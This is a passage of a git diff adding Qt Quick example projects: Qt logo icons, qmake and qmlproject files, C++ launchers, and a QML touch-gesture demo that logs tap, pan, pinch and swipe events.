diff --git a/examples/declarative/threading/workerscript/workerscript.svg b/examples/declarative/threading/workerscript/workerscript.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/examples/declarative/threading/workerscript/workerscript.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/examples/declarative/threading/workerscript/workerscript64.png b/examples/declarative/threading/workerscript/workerscript64.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/examples/declarative/threading/workerscript/workerscript64.png
Binary files differ
diff --git a/examples/declarative/threading/workerscript/workerscript80.png b/examples/declarative/threading/workerscript/workerscript80.png
new file mode 100644
index 00000000..6ad8096c
--- /dev/null
+++ b/examples/declarative/threading/workerscript/workerscript80.png
Binary files differ
diff --git a/examples/declarative/touchinteraction/gestures/experimental-gestures/experimentalgestures.png b/examples/declarative/touchinteraction/gestures/experimental-gestures/experimentalgestures.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/examples/declarative/touchinteraction/gestures/experimental-gestures/experimentalgestures.png
Binary files differ
diff --git a/examples/declarative/touchinteraction/gestures/experimental-gestures/experimentalgestures.pro b/examples/declarative/touchinteraction/gestures/experimental-gestures/experimentalgestures.pro
new file mode 100644
index 00000000..63aa4481
--- /dev/null
+++ b/examples/declarative/touchinteraction/gestures/experimental-gestures/experimentalgestures.pro
@@ -0,0 +1,41 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/experimental-gestures
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+# Avoid auto screen rotation
+#DEFINES += ORIENTATIONLOCK
+
+# Needs to be defined for Symbian
+#DEFINES += NETWORKACCESS
+
+symbian:TARGET.UID3 = 0xE3FF6816
+
+# Smart Installer package's UID
+# This UID is from the protected range
+# and therefore the package will fail to install if self-signed
+# By default qmake uses the unprotected range value if unprotected UID is defined for the application
+# and 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Define QMLJSDEBUGGER to allow debugging of QML in debug builds
+# (This might significantly increase build time)
+# DEFINES += QMLJSDEBUGGER
+
+# If your application uses the Qt Mobility libraries, uncomment
+# the following lines and add the respective components to the
+# MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/touchinteraction/gestures/experimental-gestures
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/touchinteraction/gestures/experimental-gestures/experimentalgestures.svg b/examples/declarative/touchinteraction/gestures/experimental-gestures/experimentalgestures.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/examples/declarative/touchinteraction/gestures/experimental-gestures/experimentalgestures.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/examples/declarative/touchinteraction/gestures/experimental-gestures/gestures.qmlproject b/examples/declarative/touchinteraction/gestures/experimental-gestures/gestures.qmlproject
new file mode 100644
index 00000000..3294cb24
--- /dev/null
+++ b/examples/declarative/touchinteraction/gestures/experimental-gestures/gestures.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/experimental-gestures"
+ }
+ JavaScriptFiles {
+ directory: "qml/experimental-gestures"
+ }
+ ImageFiles {
+ directory: "qml/experimental-gestures"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/touchinteraction/gestures/experimental-gestures/main.cpp b/examples/declarative/touchinteraction/gestures/experimental-gestures/main.cpp
new file mode 100644
index 00000000..9a38a46c
--- /dev/null
+++ b/examples/declarative/touchinteraction/gestures/experimental-gestures/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtCore module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtGui/QApplication>
+#include "qmlapplicationviewer.h"
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationAuto);
+ viewer.setMainQmlFile(QLatin1String("qml/experimental-gestures/experimental-gestures.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/examples/declarative/touchinteraction/gestures/experimental-gestures/qml/experimental-gestures/experimental-gestures.qml b/examples/declarative/touchinteraction/gestures/experimental-gestures/qml/experimental-gestures/experimental-gestures.qml
new file mode 100644
index 00000000..bf176112
--- /dev/null
+++ b/examples/declarative/touchinteraction/gestures/experimental-gestures/qml/experimental-gestures/experimental-gestures.qml
@@ -0,0 +1,76 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import Qt.labs.gestures 1.0
+
+// Only works on platforms with Touch support.
+
+Rectangle {
+ id: rect
+ width: 320
+ height: 180
+
+ Text {
+ anchors.centerIn: parent
+ text: "Tap / TapAndHold / Pan / Pinch / Swipe\nOnly works on platforms with Touch support."
+ horizontalAlignment: Text.Center
+ }
+
+ GestureArea {
+ anchors.fill: parent
+ focus: true
+
+ // Only some of the many gesture properties are shown. See Gesture documentation.
+
+ onTap:
+ console.log("tap pos = (",gesture.position.x,",",gesture.position.y,")")
+ onTapAndHold:
+ console.log("tap and hold pos = (",gesture.position.x,",",gesture.position.y,")")
+ onPan:
+ console.log("pan delta = (",gesture.delta.x,",",gesture.delta.y,") acceleration = ",gesture.acceleration)
+ onPinch:
+ console.log("pinch center = (",gesture.centerPoint.x,",",gesture.centerPoint.y,") rotation =",gesture.rotationAngle," scale =",gesture.scaleFactor)
+ onSwipe:
+ console.log("swipe angle=",gesture.swipeAngle)
+ onGesture:
+ console.log("gesture hot spot = (",gesture.hotSpot.x,",",gesture.hotSpot.y,")")
+ }
+}
diff --git a/examples/declarative/touchinteraction/mousearea/mousearea-example/main.cpp b/examples/declarative/touchinteraction/mousearea/mousearea-example/main.cpp
new file mode 100644
index 00000000..d7bb4a2f
--- /dev/null
+++ b/examples/declarative/touchinteraction/mousearea/mousearea-example/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtCore module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtGui/QApplication>
+#include "qmlapplicationviewer.h"
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationLockLandscape);
+ viewer.setMainQmlFile(QLatin1String("qml/mousearea-example/mousearea-example.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/examples/declarative/touchinteraction/mousearea/mousearea-example/mousearea.qmlproject b/examples/declarative/touchinteraction/mousearea/mousearea-example/mousearea.qmlproject
new file mode 100644
index 00000000..8368df29
--- /dev/null
+++ b/examples/declarative/touchinteraction/mousearea/mousearea-example/mousearea.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/mousearea-example"
+ }
+ JavaScriptFiles {
+ directory: "qml/mousearea-example"
